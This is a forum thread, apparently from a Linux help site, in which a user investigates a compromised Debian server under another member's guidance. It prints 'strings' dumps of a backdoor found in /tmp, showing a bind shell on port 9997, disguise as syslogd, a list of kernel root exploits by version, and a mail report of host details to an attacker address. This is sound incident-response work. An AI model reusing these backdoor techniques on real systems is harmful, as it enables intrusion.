Backdoor.Linux.Small & Linux.Plupii - Debian DSA-789-1

DaveQB · 02-22-2007, 01:58 AM

All files are available for anyone who wants to have a closer inspection on them.

unSpawn · 02-22-2007, 06:13 AM

First of all thanks for providing (some of) the info to help me help you. That said, you've been given the list of checks to perform (Intruder Detection Checklist), so let's see if we can wrap this up:

1. Server mitigation steps taken?
2. Notify anyone who has access to the system(..): unknown, actions not posted.
3. Save open files, process and network data listings: partial data indicating
- process named "apache", with binary started in /tmp, filename "apache",
- listing of files in /tmp showing:
- "apache": "Innocent Boys backdoor" (strings),
- r0nin: possibly "PsychoPhobia Backdoor" (no strings run) (also encountered here),
- "a.out": unknown possible ELF binary (no strings run),
- "botnet.txt": IRC bot,
- BlueMarble.kml: unknown (no strings run),
WYD747.exe: unknown (no strings run),

shutting down all non-essential services: unknown, actions not posted.
and raising the firewall.: unknown, actions not posted.
Live CD used for investigation: unknown, actions not posted.
* In addition the user removed and installed SW and tools on the system, thwarting forensics.

2. When did this happen?
2A CERT steps:
1. Examine log files for connections from unusual locations or other unusual activity.
- Apache: "tail -n 1* error.log.1" and access.log.1. (Why tail -n1? Why logname.1?)
- 'last' log: actions/output not posted.
- psacct: actions/output not posted.
- all logs created by syslog: actions/output not posted.
- other security logs: only loginlog.0 and auth.log.0 posted.
- firewall logs: actions/output not posted.

2. Look for setuid and setgid files
- find / -user root -perm -4000 -print: Filenames do not look suspicious but you should use a filesystem integrity checkers or your package manager to verify.

3. Check your system binaries to make sure that they haven't been altered.
- user ran package manager: actions/output not posted.
- user ran tripwire: unknown if binary, database and config used where backups from ro media. Result: no changes.
- user ran Tiger. Resulting alerts verified?: no. (concentrate on the "FAIL" lines first).

4. Check your systems for unauthorized use of a network monitoring program, commonly called a sniffer or packet sniffer.: No actions/results posted.

5. Examine all the files that are run by 'cron' and 'at.': No actions/results posted.
6. Check for unauthorized services.: No actions/results posted.
7. Examine the /etc/passwd file on the system: Tiger turns up several entries to verify.
8. Check your system and network configuration files: No actions/results posted.

9. Look everywhere on the system for unusual or hidden files
Partial action/result posted showing UNIX socket locks in /tmp.

10. Examine all machines on the local network: No actions/results posted.

2B Additional requests for info:
- (changes in or logged reports about) system authentication data,: not reported by tripwire/Tiger.
- IDS, router logs, filesystem integrity checkers, package manager,: No actions/results posted.
- all system, daemon and firewall logs,: partial results posted.
- installed SW (and was all SW updated?),: No feedback posted.
- running services,: No feedback posted except Tiger process listing.
- user shell histories.: No actions/results posted.

Time period as seen by "evidence":
First activity date: 2006/05/13
Last activity date: 2007/02/22

3. How did this happen?
- Apache logs: "TERM".
This is the normal "stop" sign line encountered when you shut down Apache.
- loginlog.0: sshd Bad protocol version identification '\200\214\001\003\001'
The string "Bad protocol version" points to at least a (blind) probe. To be sure you would need to find lines before these with broken off connections (banner scan). At this point you can't say it was legitimate or not since there's not enough information to clearly show this was an exploit. Interestingly both addresses belong to inktomisearch.com. Spoofing a SSH scan doesn't make sense but Crawlers probing other than TCP/80 doesn't either.
- auth.log.0: server su[1665]: (pam_unix) session opened for user nobody by (uid=0)
Since the nobody su correllates with logrotate this could for example be to restart a service. You should see a "closed by " line as well.

The system configuration problems:
- loose permissions,
- too many services running,
- no full hardening.

Server administration problems:
- no evidence of or sporadic SW updating,
- no evidence of regular auditing,
- user management problems.

From output shown there is no clear "evidence" how this happened. However the tools used, ownership of those and the purpose given to the system (as far as found) suggests your typical "kiddie MO" in that they will only go for "easy kills" like Awstats, Wordpress, any PHP-based applications. Unfortunately the "a.out" was owned by root and placed there recently (2007/02/22). No "evidence" can correllate this with any accuracy to the ongoing current breach of security. The chance somebody else with legitimate root account rights placed the binary there howver seems infinitesmal.

My advice is, like always:
- repartition, reformat, re-install from scratch,
- harden the box properly, update regularly, audit regularly (LQ FAQ: Security references).

nx5000 · 02-22-2007, 07:02 AM

Just wanted to point out a little tool :Sxid
It checks regularly for modified ownership/attributes of files from crontab.
(It does not replace a complete integrity software)

DaveQB · 02-22-2007, 07:51 AM

Thanks unSpawn.

I didn't post all results of actions as I didn't want to waste peoples time and good Internet/browser real estate. I only posted when something turned up something I was unsure about or suspicious of.

But I will re-run those examines now and post..

Quote:

Originally Posted by unSpawn

First of all thanks for providing (some of) the info to help me help you. That said, you've been given the list of checks to perform (Intruder Detection Checklist), so let's see if we can wrap this up:

1. Server mitigation steps taken?
2. Notify anyone who has access to the system(..): unknown, actions not posted.

Yes, not many users.

Quote:

Originally Posted by unSpawn

3. Save open files, process and network data listings: partial data indicating

Well I had nothing open. Do you mean processes having files open ? How would one know ?
Network data listings ? Lost me there.

Quote:

Originally Posted by unSpawn

- process named "apache", with binary started in /tmp, filename "apache",
- listing of files in /tmp showing:
- "apache": "Innocent Boys backdoor" (strings),
- r0nin: possibly "PsychoPhobia Backdoor" (no strings run) (also encountered here),

Here it is

Code:

server:/tmp# strings r0nin
/lib/ld-linux.so.2
_Jv_RegisterClasses
__gmon_start__
libc.so.6
strcpy
waitpid
ioctl
stdout
connect
execve
getpid
memcpy
perror
dup2
getuid
malloc
socket
select
fflush
bzero
setpgid
uname
accept
write
fprintf
kill
bind
inet_addr
chdir
memchr
signal
read
strncmp
strncpy
htonl
listen
fork
strcmp
getpwuid
sprintf
getpeername
htons
exit
_IO_stdin_used
__libc_start_main
strlen
open
vhangup
setsid
close
GLIBC_2.0
PTRhp
[^_]
Error %i
/sbin/syslogd
             ,--.     |    o
        ,-.-.|  |,---.|--- ..  ,
        | | ||  ||    |    | ><
        ` ' '`--'`    `---'`'  `
PsychoPhobia Backdoor v3 by m0rtix is starting...OK, pid = %ld
Shell on: 9997      User: %s        UID: %ld
Name: %s  (Masked in PS! )  v: = %s %s %s
pqrstuvwxyzabcde
0123456789abcdef
/dev/ptmx
/dev/pty
/dev/tty
socket
bind
listen
/dev/null
HOME=%s
Can't fork pty, bye!
/bin/sh
Linux
FreeBSD
2.2.
Rootab !! use: ptrace!
2.4.17
Rootab !! use: Kmod, newlocal !
2.4.18
Rootab !! use: Brk, newlocal, Kmod or Kmod2 !
2.4.19
2.4.20
Rootab !! use: elflbl, Ptrace, Brk2, w00t(if 2003), Kmod or Kmod2 !
2.4.21
Rootab !! use: Brk2, Ptrace, w00t(if 2003), Krad3(if elSMP), Kmod2 !
2.4.22
Rootab !! use: Brk2, Ptrace, w00t(if 2003), Kmod2 !
2.4.23
Rootab !! use: mremap_pte!
2.4.24
2.4.25
Rootab !! use: mremap_pte, Uselib24!
2.4.26
2.4.27
Rootab !! use: don't know lol!
2.6.2
Rootab !! use: expand_stack, mremap_pte!
2.6.3
Rootab !! use: expand_stack, Krad(if 2004) !
2.6.4
2.6.5
2.6.6
2.6.7
2.6.8
2.6.9
Rootab !! use: expand_stack, Krad(if 2004), Krad2(if 2004), Krad3 !
2.6.10
2.6.11
Rootab !! use: expand_stack, Krad2(if 2004), Krad3 !
2.6.12
Rootab !! use: expand_stack, Krad2(if 2004) !
2.6.13
Rootab !! use: expand_stack !
2.6.14
2.6.15
Don't know for ths version:   %s
         Oh NOoo !!! it's a FreeBSD system, i can't say you if this sheat is rootab !!
127.0.0.1
HELO truc.domaine.fr
MAIL FROM: <Hacked@domaine.fr>
RCPT TO: <m0rtix@free.fr>
DATA
 PID de la Backdoor: %ld
 La machine est de type:        %s
 C'est une machine qui tourne sous:     %s
 La version du noyau est:       %s
 Date, heure et derniere mise a jour du noyau:  %s
 La machine tourne sur la plateforme suivante:  %s
QUIT

Quote:

Originally Posted by unSpawn

- "a.out": unknown possible ELF binary (no strings run),

Ask and you shall receive...

Code:

server:/tmp# strings a.out
/lib/ld-linux.so.2
_Jv_RegisterClasses
__gmon_start__
libc.so.6
strcpy
waitpid
ioctl
stdout
connect
execve
getpid
memcpy
perror
dup2
getuid
malloc
socket
select
fflush
bzero
setpgid
uname
accept
write
fprintf
kill
bind
inet_addr
chdir
memchr
signal
read
strncmp
strncpy
htonl
listen
fork
strcmp
getpwuid
sprintf
getpeername
htons
exit
_IO_stdin_used
__libc_start_main
strlen
open
vhangup
setsid
close
GLIBC_2.0
PTRhp
[^_]
Error %i
/sbin/syslogd
             ,--.     |    o
        ,-.-.|  |,---.|--- ..  ,
        | | ||  ||    |    | ><
        ` ' '`--'`    `---'`'  `
PsychoPhobia Backdoor v3 by m0rtix is starting...OK, pid = %ld
Shell on: 9997      User: %s        UID: %ld
Name: %s  (Masked in PS! )  v: = %s %s %s
pqrstuvwxyzabcde
0123456789abcdef
/dev/ptmx
/dev/pty
/dev/tty
socket
bind
listen
/dev/null
HOME=%s
Can't fork pty, bye!
/bin/sh
Linux
FreeBSD
2.2.
Rootab !! use: ptrace!
2.4.17
Rootab !! use: Kmod, newlocal !
2.4.18
Rootab !! use: Brk, newlocal, Kmod or Kmod2 !
2.4.19
2.4.20
Rootab !! use: elflbl, Ptrace, Brk2, w00t(if 2003), Kmod or Kmod2 !
2.4.21
Rootab !! use: Brk2, Ptrace, w00t(if 2003), Krad3(if elSMP), Kmod2 !
2.4.22
Rootab !! use: Brk2, Ptrace, w00t(if 2003), Kmod2 !
2.4.23
Rootab !! use: mremap_pte!
2.4.24
2.4.25
Rootab !! use: mremap_pte, Uselib24!
2.4.26
2.4.27
Rootab !! use: don't know lol!
2.6.2
Rootab !! use: expand_stack, mremap_pte!
2.6.3
Rootab !! use: expand_stack, Krad(if 2004) !
2.6.4
2.6.5
2.6.6
2.6.7
2.6.8
2.6.9
Rootab !! use: expand_stack, Krad(if 2004), Krad2(if 2004), Krad3 !
2.6.10
2.6.11
Rootab !! use: expand_stack, Krad2(if 2004), Krad3 !
2.6.12
Rootab !! use: expand_stack, Krad2(if 2004) !
2.6.13
Rootab !! use: expand_stack !
2.6.14
2.6.15
Don't know for ths version:   %s
         Oh NOoo !!! it's a FreeBSD system, i can't say you if this sheat is rootab !!
127.0.0.1
HELO truc.domaine.fr
MAIL FROM: <Hacked@domaine.fr>
RCPT TO: <m0rtix@free.fr>
DATA
 PID de la Backdoor: %ld
 La machine est de type:        %s
 C'est une machine qui tourne sous:     %s
 La version du noyau est:       %s
 Date, heure et derniere mise a jour du noyau:  %s
 La machine tourne sur la plateforme suivante:  %s
QUIT

Quote:

Originally Posted by unSpawn

- "botnet.txt": IRC bot,
- BlueMarble.kml: unknown (no strings run),

Coming right up!

Code:

server:~/tmp# strings BlueMarble.kml
<?xml version="1.0" encoding="UTF-8"?>
<kml xmlns="http://earth.google.com/kml/2.1">
<NetworkLink>
        <name>BlueMarble</name>
        <description><![CDATA[<b>Version 2.1</b><br>
<br>
A prettier version of the Earth from space courtesy of NASA's <a href="http://www.gearthblog.com/blog/archives/2006/11/blue_marble_time_ani.html">Blue Marble Next Generation</b>.   Also included are real-time Global Clouds (turned on optionally, they update every three hours).  These images automatically disappear as you get closer to the Earth and reappear when you get higher.<br>
<br>
This version uses KML 2.1 <Region> tags to automatically control the appearance and disappearance of the pretty NASA Blue Marble image and the real-time Global Clouds (image courtesy of Hari Nair at XPlanet (http://xplanet.sf.net).   You can turn on and off either the Blue Marble or the Global Cloud Map and the effect still works.<br>
<br>
This concept developed by Frank Taylor at <a href="http://www.gearthblog.com/">Google Earth Blog</a> and Barry Hunter at <a href="http://www.nearby.org.uk">Nearby</a>.]]></description>
        <LookAt>
                <longitude>3.481958117840573e-062</longitude>
                <latitude>1.494668298522141e-030</latitude>
                <altitude>0</altitude>
                <range>16679105.79339266</range>
                <tilt>1.49466829852214e-030</tilt>
                <heading>-6.102647980948396e-015</heading>
        </LookAt>
        <Url>
                <href>http://www.gearthblog.com/kmfiles/bmngv2.kmz</href>
        </Url>
</NetworkLink>
</kml>
server:~/tmp# file BlueMarble.kml
BlueMarble.kml: XML document text

Quote:

Originally Posted by unSpawn

WYD747.exe: unknown (no strings run),

On its way.....

Code:

server:~/tmp# file WYD747.exe
WYD747.exe: MS-DOS executable (EXE), OS/2 or MS Windows
server:~/tmp# strings WYD747.exe
5Xp@
 s495l
Qh0u
5Xr@
tBj\V
uv9]
t       9]
tDH;
PShr
jHjZ
t=9]
Ph t@
Sh0t@
Rh@t@
t       j"
PSWV
SQSj
SSSPV
VQSPW
u&9]
QVPW
SQVPW
SQPh@
u_9]
t@;u
t#9]
PjdQ
,SV3
Inst
softuw
Nullun
u49E
tZ9}
5PLA
j@Vh`
tC+E
tI9E
t=9u
tS9u
SUV3
D$0h`
PVh`
8/u3@
8NCRCu
 /D=t
tIPW
> _?=t
t(Vh
D$ Ph
D$$VPV
tT<"u
SPSj0
D$(+D$ SSP
D$0+D$(P
t$0h
_^][
SUVW
_^][
l$ V;
PPPPS
D$,H
t$,VS
t$0h
t$0U
\$$;
5$r@
-<r@
t$ W
_^][
s8j#
5<r@
5<r@
t Pj
t+Pj
5<r@
5<r@
5$r@
5<r@
PWhC
SPhQ
t       9E
uv9E
p\Wh
WWhG
WPhP
j [S
SWh
WQhN
5Xr@
 u}h
tDSSh
5<r@
=$r@
5<r@
PPh6
PhAN@
5Xr@
t$jx
SPQh
FFC;]
QQQQQ
th<.u
t^VW
tM9u
9\\t
;:\u
?\\u
^j\PN
Wjd_O
SUVWh,
VUh$
PWVU
t[;|$
PPPU
PWVU
_^][
SVW3
&u+WhL
_^[t    P
v"Ph
Vu-3
HtVHtHH
hhs@
h(s@
Phhs@
h(s@
@AO;
} Z3
M 9D
;u v
M 9M
%hr@
%dr@
%`r@
shlwapi.dll
SHAutoComplete
.DEFAULT\Control Panel\International
Locale
Control Panel\Desktop\ResourceLocale
GetUserDefaultUILanguage
MulDiv
DeleteFileA
FindFirstFileA
FindNextFileA
FindClose
SetFilePointer
ReadFile
WriteFile
GetPrivateProfileStringA
WritePrivateProfileStringA
MultiByteToWideChar
FreeLibrary
GetProcAddress
LoadLibraryA
GetModuleHandleA
SetErrorMode
GetExitCodeProcess
WaitForSingleObject
GlobalAlloc
GlobalFree
ExpandEnvironmentStringsA
GetEnvironmentVariableA
lstrcmpA
lstrcmpiA
CloseHandle
SetFileTime
CompareFileTime
SearchPathA
GetShortPathNameA
GetFullPathNameA
MoveFileA
SetCurrentDirectoryA
GetFileAttributesA
GetLastError
CreateDirectoryA
SetFileAttributesA
Sleep
GetFileSize
GetModuleFileNameA
GetTickCount
GetCurrentProcess
CopyFileA
ExitProcess
GetCommandLineA
GetWindowsDirectoryA
GetTempPathA
lstrcpynA
GetDiskFreeSpaceA
GlobalUnlock
GlobalLock
CreateThread
CreateProcessA
RemoveDirectoryA
CreateFileA
GetTempFileNameA
lstrlenA
lstrcatA
GetSystemDirectoryA
KERNEL32.dll
EndPaint
DrawTextA
FillRect
GetClientRect
BeginPaint
DefWindowProcA
SendMessageA
InvalidateRect
EnableWindow
GetDC
LoadImageA
SetWindowLongA
GetDlgItem
IsWindow
FindWindowExA
SendMessageTimeoutA
wsprintfA
ShowWindow
SetForegroundWindow
PostQuitMessage
SetWindowTextA
SetTimer
DestroyWindow
CreateDialogParamA
ExitWindowsEx
CharNextA
DialogBoxParamA
GetClassInfoA
CreateWindowExA
SystemParametersInfoA
RegisterClassA
EndDialog
ScreenToClient
GetWindowRect
SetClassLongA
IsWindowEnabled
SetWindowPos
GetSysColor
GetWindowLongA
SetCursor
LoadCursorA
CheckDlgButton
GetMessagePos
LoadBitmapA
CallWindowProcA
IsWindowVisible
CloseClipboard
SetClipboardData
EmptyClipboard
OpenClipboard
TrackPopupMenu
AppendMenuA
CreatePopupMenu
GetSystemMetrics
SetDlgItemTextA
GetDlgItemTextA
MessageBoxA
CharPrevA
DispatchMessageA
PeekMessageA
USER32.dll
SelectObject
SetTextColor
SetBkMode
CreateFontIndirectA
CreateBrushIndirect
DeleteObject
GetDeviceCaps
SetBkColor
GDI32.dll
SHFileOperationA
ShellExecuteA
SHGetFileInfoA
SHBrowseForFolderA
SHGetPathFromIDListA
SHGetMalloc
SHGetSpecialFolderLocation
SHELL32.dll
RegEnumValueA
RegEnumKeyA
RegQueryValueExA
RegSetValueExA
RegCreateKeyExA
RegCloseKey
RegDeleteValueA
RegDeleteKeyA
RegOpenKeyExA
ADVAPI32.dll
ImageList_Destroy
ImageList_AddMasked
ImageList_Create
COMCTL32.dll
CoCreateInstance
OleUninitialize
OleInitialize
ole32.dll
VerQueryValueA
GetFileVersionInfoA
GetFileVersionInfoSizeA
VERSION.dll
%s %s
The installer you are trying to use is corrupted or incomplete.
This could be the result of a damaged disk, a failed download or a virus.
You may want to contact the author of this installer to obtain a new copy.
It may be possible to skip this check using the /NCRC command line switch
(NOT RECOMMENDED).
verifying installer: %d%%
Error launching installer
... %d%%
Au_.exe
SeShutdownPrivilege
AdjustTokenPrivileges
LookupPrivilegeValueA
OpenProcessToken
ADVAPI32.dll
 _?=
~nsu.tmp\
\Temp
NSIS Error
Error writing temporary file. Make sure your temp folder is valid.
RichEdit20A
RichEd20.dll
.exe
KERNEL32.dll
open
GetDiskFreeSpaceExA
%u.%u%s%s
\*.*
[Rename]
\wininit.ini
%s=%s
MoveFileExA
C:\Program Files
ProgramFilesDir
Software\Microsoft\Windows\CurrentVersion
CommonFilesDir
\Microsoft\Internet Explorer\Quick Launch
*?|<>/":
4CD$4D$5
Ywfv

Quote:

Originally Posted by unSpawn

shutting down all non-essential services: unknown, actions not posted.

Had a thought about this and cant think of anything I am running on the server thats not essential. Otherwise, why would I be running it ?

Quote:

Originally Posted by unSpawn

and raising the firewall.: unknown, actions not posted.

Its behind a router with a few select ports forwarded to it, so no iptables rules in place.

Quote:

Originally Posted by unSpawn

Live CD used for investigation: unknown, actions not posted.

I downloaded Helix (sp?) and read its doc's. It looked over my head. But still intend to give it a try this weekend when I have a moment to be able to do such. Don't know what I will be doing with it thought :-D

Quote:

Originally Posted by unSpawn

* In addition the user removed and installed SW and tools on the system, thwarting forensics.

Unfortunately I had to, to try retrieve or scan files as needed. I had never heard of tiger etc until now. If nothing else, its been a great learning experience, and I will be adding these new apps I have learnt to the list of first to install applications.

PTO.....

DaveQB · 02-22-2007, 07:52 AM

Quote:

Originally Posted by unSpawn

2. When did this happen?
2A CERT steps:
1. Examine log files for connections from unusual locations or other unusual activity.

Was doing this until my eyes were popping out and the clock struck 2am-2:30am.

Quote:

Originally Posted by unSpawn

- Apache: "tail -n 1* error.log.1" and access.log.1. (Why tail -n1? Why logname.1?)

Again, just trying to show relevant parts and saves peoples time and screen real estate. I could post them here, but there's thousands of lines. Do you still want me to ?

Quote:

Originally Posted by unSpawn

- 'last' log: actions/output not posted.

I have checked the output of last as well as the loginlog and lastlog several times. Nothing comes up unusual. last command just shows all of my logins as times I know I logged it, see..

Code:

server:/log# last
david    pts/10       mssydef.asi.com. Thu Feb 22 16:42 - 19:08  (02:26)
david    pts/11       mssydef.asi.com. Thu Feb 22 11:33    gone - no logout
david    pts/10       mssydef.asi.com. Thu Feb 22 10:40 - 16:42  (06:01)
david    pts/10       mssydef.asi.com. Thu Feb 22 10:09 - 10:40  (00:30)
david    pts/10       mssydef.asi.com. Thu Feb 22 09:40 - 10:09  (00:29)
david    pts/10       mssydef.asi.com. Wed Feb 21 17:24 - 18:33  (01:08)
david    pts/11       mssydef.asi.com. Wed Feb 21 09:17 - 11:33 (1+02:15)
david    pts/9        jlh.home.dward.u Wed Feb 21 01:24   still logged in
david    pts/10       mssydef.asi.com. Tue Feb 20 12:58 - 12:58  (00:00)
david    pts/9        mssydef.asi.com. Tue Feb 20 09:42 - 19:16  (09:33)
david    pts/0        jlh.home.dward.u Mon Feb 19 19:34   still logged in
david    pts/0        mssydef.asi.com. Mon Feb 19 10:30 - 18:23  (07:53)
david    pts/6        jlh.home.dward.u Sun Feb 18 21:07 - 03:31  (06:23)
david    pts/0        jlh.home.dward.u Sun Feb 18 14:04 - 03:01  (12:56)
david    pts/6        mssydef.asi.com. Fri Feb 16 17:38 - 17:39  (00:01)
david    pts/6        mssydef.asi.com. Fri Feb 16 12:29 - 17:35  (05:05)
david    pts/9        mssydef.asi.com. Fri Feb 16 07:39 - 09:42 (4+02:03)
david    pts/10       mssydef.asi.com. Thu Feb 15 15:12 - 15:43  (00:30)
david    pts/9        mssydef.asi.com. Thu Feb 15 14:40 - 07:39  (16:58)
david    pts/9        mssydef.asi.com. Thu Feb 15 12:06 - 14:40  (02:34)
david    pts/9        mssydef.asi.com. Thu Feb 15 09:29 - 12:06  (02:37)
david    pts/0        jlh.home.dward.u Wed Feb 14 20:56 - 09:25 (2+12:28)
david    pts/0        jlh.home.dward.u Wed Feb 14 20:50 - 20:50  (00:00)
david    pts/0        mssydef.asi.com. Wed Feb 14 15:46 - 17:34  (01:48)
david    pts/0        mssydef.asi.com. Wed Feb 14 15:21 - 15:46  (00:25)
david    pts/0        mssydef.asi.com. Wed Feb 14 13:43 - 15:21  (01:37)
david    pts/0        mssydef.asi.com. Wed Feb 14 09:20 - 13:42  (04:22)
david    pts/0        mssydef.asi.com. Tue Feb 13 16:27 - 17:42  (01:15)
david    pts/8        mssydef.asi.com. Tue Feb 13 14:50    gone - no logout
david    pts/0        mssydef.asi.com. Tue Feb 13 09:43 - 16:27  (06:44)
david    pts/0        mssydef.asi.com. Mon Feb 12 10:12 - 17:30  (07:18)
david    pts/0        mssydef.asi.com. Mon Feb 12 09:49 - 10:09  (00:19)
david    pts/0        mssydef.asi.com. Mon Feb 12 09:42 - 09:47  (00:05)
david    pts/0        jlh.home.dward.u Sun Feb 11 21:36 - 23:00  (01:23)
david    pts/0        jlh.home.dward.u Sun Feb 11 02:18 - 17:20  (15:02)
david    pts/0        jlh.home.dward.u Sat Feb 10 23:52 - 01:21  (01:28)
david    pts/0        mssydef.asi.com. Fri Feb  9 17:49 - 17:55  (00:05)
david    pts/7        mssydef.asi.com. Fri Feb  9 14:54 - 17:47  (02:52)
david    pts/0        mssydef.asi.com. Fri Feb  9 07:42 - 17:47  (10:05)
david    pts/0        mssydef.asi.com. Thu Feb  8 12:31 - 17:44  (05:12)
david    pts/0        mssydef.asi.com. Thu Feb  8 12:31 - 12:31  (00:00)
david    pts/0        mssydef.asi.com. Thu Feb  8 11:20 - 12:28  (01:07)
david    pts/0        mssydef.asi.com. Thu Feb  8 11:04 - 11:20  (00:16)
david    pts/0        mssydef.asi.com. Thu Feb  8 10:55 - 11:04  (00:08)
david    pts/0        mssydef.asi.com. Thu Feb  8 09:59 - 10:43  (00:43)
david    pts/0        mssydef.asi.com. Thu Feb  8 09:46 - 09:46  (00:00)
david    pts/0        mssydef.asi.com. Thu Feb  8 09:35 - 09:46  (00:10)
david    pts/0        mssydef.asi.com. Thu Feb  8 09:15 - 09:35  (00:19)
david    pts/0        mssydef.asi.com. Thu Feb  8 09:02 - 09:14  (00:11)
david    pts/0        mssydef.asi.com. Wed Feb  7 13:45 - 18:14  (04:29)
david    pts/8        mssydef.asi.com. Wed Feb  7 11:21 - 14:50 (6+03:28)
david    pts/0        mssydef.asi.com. Wed Feb  7 09:33 - 13:45  (04:11)
david    pts/0        mssydef.asi.com. Tue Feb  6 14:27 - 18:26  (03:59)
david    pts/8        mssydef.asi.com. Tue Feb  6 10:41 - 11:21 (1+00:39)
david    pts/0        mssydef.asi.com. Tue Feb  6 09:24 - 14:27  (05:02)
david    pts/0        mssydef.asi.com. Tue Feb  6 09:23 - 09:23  (00:00)
david    pts/0        mssydef.asi.com. Tue Feb  6 09:12 - 09:22  (00:09)
david    pts/0        jlh.home.dward.u Mon Feb  5 20:29 - 21:00  (00:30)
david    pts/8        david-laptop.hom Mon Feb  5 00:42 - 00:43  (00:01)
david    pts/5        jlh.home.dward.u Sun Feb  4 10:21 - 21:57 (3+11:35)
david    pts/5        jlh.home.dward.u Sat Feb  3 17:17 - 17:49  (00:32)
david    pts/5        jlh.home.dward.u Sat Feb  3 12:29 - 13:32  (01:02)
david    pts/5        david-laptop.hom Sat Feb  3 11:37 - 11:38  (00:01)
david    pts/8        david-laptop.hom Sat Feb  3 00:00 - 11:04  (11:03)
david    pts/8        david-laptop.hom Fri Feb  2 20:35 - 21:39  (01:04)
david    pts/5        jlh.home.dward.u Fri Feb  2 19:32 - 03:32  (08:00)
david    pts/8        mssydef.asi.com. Fri Feb  2 11:36 - 18:04  (06:27)
david    pts/5        mssydef.asi.com. Fri Feb  2 09:05 - 19:32  (10:26)
david    pts/5        mssydef.asi.com. Thu Feb  1 14:08 - 17:44  (03:35)
david    pts/5        mssydef.asi.com. Thu Feb  1 12:22 - 14:08  (01:46)
david    pts/5        mssydef.asi.com. Thu Feb  1 11:28 - 12:22  (00:53)
david    pts/5        mssydef.asi.com. Thu Feb  1 09:54 - 11:28  (01:34)
david    pts/5        mssydef.asi.com. Thu Feb  1 09:30 - 09:54  (00:23)

Quote:

Originally Posted by unSpawn

- psacct: actions/output not posted.

What the heck is that ? Processor account ?

Quote:

Originally Posted by unSpawn

- all logs created by syslog: actions/output not posted.

As I said before, spent the majority on my last night-er going through all the log files. Grep files on mass and looking through them with less. I can post here, but I have 37 MB of log files. Do you still want them ?

Quote:

Originally Posted by unSpawn

- other security logs: only loginlog.0 and auth.log.0 posted.

Define security logs and I can post them, but there's going to be heaps!

Quote:

Originally Posted by unSpawn

- firewall logs: actions/output not posted.

See comment above.

Quote:

Originally Posted by unSpawn

2. Look for setuid and setgid files
- find / -user root -perm -4000 -print: Filenames do not look suspicious but you should use a filesystem integrity checkers or your package manager to verify.

3. Check your system binaries to make sure that they haven't been altered.
- user ran package manager: actions/output not posted.

How do you mean ?

Quote:

Originally Posted by unSpawn

- user ran tripwire: unknown if binary, database and config used where backups from ro media. Result: no changes.

Database is kept on a encfs directory that needs a pretty long password to mount. Its only (this feels familiar writing this) to be mounted to be accessed and is only ever mounted manually to access files and fusermount -u straight after done.

Quote:

Originally Posted by unSpawn

- user ran Tiger. Resulting alerts verified?: no. (concentrate on the "FAIL" lines first).

How do you want me to verify them ?

Quote:

Originally Posted by unSpawn

4. Check your systems for unauthorized use of a network monitoring program, commonly called a sniffer or packet sniffer.: No actions/results posted.

Only one I know I have is iptraf. There was no mention of this in the log's directory and I can't see where it would keep its logs. But its not really a sniffer, its just monitors traffic.

Quote:

Originally Posted by unSpawn

5. Examine all the files that are run by 'cron' and 'at.': No actions/results posted.

Had a look in the cron dirs. Nothing appeared altered. Cron was limited to root and myself by Bastille and at was disabled by Bastille.

Quote:

Originally Posted by unSpawn

6. Check for unauthorized services.: No actions/results posted.

Whats the best way to list the services ? Besides ps ax

Quote:

Originally Posted by unSpawn

7. Examine the /etc/passwd file on the system: Tiger turns up several entries to verify.
8. Check your system and network configuration files: No actions/results posted.

I went through the /etc/network dir. Anywhere else ?

Quote:

Originally Posted by unSpawn

9. Look everywhere on the system for unusual or hidden files
Partial action/result posted showing UNIX socket locks in /tmp.

I ran the find commands from the checklist. What else did I miss to move up from partial to fully ?

Quote:

Originally Posted by unSpawn

10. Examine all machines on the local network: No actions/results posted.

I must admit this had not been done. I have been having enough trouble allocating time to go over the server.

Quote:

Originally Posted by unSpawn

2B Additional requests for info:
- (changes in or logged reports about) system authentication data,: not reported by tripwire/Tiger.
- IDS, router logs, filesystem integrity checkers, package manager,: No actions/results posted.

I thought this was discussed further up ? What else can I run besides tripwire ? How does one use dpkg for this ? My router only keeps logs of outbound http connections. Pretty lame.

Quote:

Originally Posted by unSpawn

- all system, daemon and firewall logs,: partial results posted.

Spent a whole night on the logs. How much more do I need to spend in there ?

Quote:

Originally Posted by unSpawn

- installed SW (and was all SW updated?),: No feedback posted.

Cron job "aptitude -y upgrade" runs every night at 1am.

Quote:

Originally Posted by unSpawn

- running services,: No feedback posted except Tiger process listing.

What about running services ? I need more info to understand this.

Quote:

Originally Posted by unSpawn

- user shell histories.: No actions/results posted.

I tried to find www-data's bash history, but there was none to be seen. Its home is listed as /var/www but nothing in there and no /home/www-data created.

Quote:

Originally Posted by unSpawn

Time period as seen by "evidence":
First activity date: 2006/05/13
Last activity date: 2007/02/22

The server was only assembled and installed just before Xmas.

Quote:

Originally Posted by unSpawn

3. How did this happen?
- Apache logs: "TERM".
This is the normal "stop" sign line encountered when you shut down Apache.
- loginlog.0: sshd Bad protocol version identification '\200\214\001\003\001'
The string "Bad protocol version" points to at least a (blind) probe. To be sure you would need to find lines before these with broken off connections (banner scan). At this point you can't say it was legitimate or not since there's not enough information to clearly show this was an exploit. Interestingly both addresses belong to inktomisearch.com. Spoofing a SSH scan doesn't make sense but Crawlers probing other than TCP/80 doesn't either.
- auth.log.0: server su[1665]: (pam_unix) session opened for user nobody by (uid=0)
Since the nobody su correllates with logrotate this could for example be to restart a service. You should see a "closed by " line as well.

Thanks for the break down.

Does this help ?

Code:

Feb 22 06:25:01 server CRON[6204]: (pam_unix) session opened for user root by (uid=0)
Feb 22 06:25:01 server CRON[6207]: (pam_unix) session opened for user root by (uid=0)
Feb 22 06:25:01 server CRON[6206]: (pam_unix) session opened for user munin by (uid=0)
Feb 22 06:25:01 server CRON[6207]: (pam_unix) session closed for user root
Feb 22 06:25:03 server su[6234]: + ??? root:nobody
Feb 22 06:25:03 server su[6234]: (pam_unix) session opened for user nobody by (uid=0)
Feb 22 06:25:28 server CRON[6206]: (pam_unix) session closed for user munin
Feb 22 06:30:01 server CRON[8554]: (pam_unix) session opened for user root by (uid=0)
Feb 22 06:30:01 server CRON[8553]: (pam_unix) session opened for user munin by (uid=0)
Feb 22 06:30:01 server CRON[8554]: (pam_unix) session closed for user root
Feb 22 06:31:42 server CRON[8553]: (pam_unix) session closed for user munin
Feb 22 06:35:01 server CRON[22494]: (pam_unix) session opened for user munin by (uid=0)
Feb 22 06:35:01 server CRON[22497]: (pam_unix) session opened for user root by (uid=0)
Feb 22 06:35:01 server CRON[22497]: (pam_unix) session closed for user root

Quote:

Originally Posted by unSpawn

The system configuration problems:
- loose permissions,

Where ? I thought Bastille did a pretty good job cutting that back. Guess not huh ?

Quote:

